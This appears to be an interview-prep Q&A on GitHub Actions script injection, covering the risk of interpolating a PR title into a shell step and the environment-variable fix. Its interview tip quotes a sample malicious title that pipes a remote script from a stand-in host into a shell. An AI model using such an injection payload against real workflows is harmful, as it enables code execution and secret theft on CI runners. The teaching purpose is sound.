A workflow echoes the PR title in a shell step, and a security reviewer flags it. Why?
AdvancedScenarioSecrets, Signing and Security
Answer
Situation read → ${{ github.event.pull_request.title }} is expanded into the script before the shell runs, so a crafted title can inject commands.
What I'd do →
- Never interpolate untrusted fields (title, body, branch name, commit message) directly in
run:. - Pass them through environment variables:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "$TITLE"
- Run zizmor or CodeQL's Actions queries to find such patterns.
- Keep
GITHUB_TOKENpermissions minimal.
Why → An env var is data to the shell, whereas inline expansion is code.
Interview tip → A title like "; curl evil.sh | sh # is a good concrete example.
More on Secrets, Signing and Security
A developer pushed an AWS access key to a public repo 10 minutes ago. What is your first move?BeginnerAfter rotating the leaked key, you must purge it from repository history. How?AdvancedA push is rejected: "GH013: Repository rule violations found ... Push cannot contain secrets". What do you do?IntermediateSecret scanning alerts have piled up, and many look like false positives or old test credentials.IntermediateYou must set up signed commits on your laptop. Which method do you pick?BeginnerYour GPG signing key expires next week. What is the correct way to handle it?Intermediate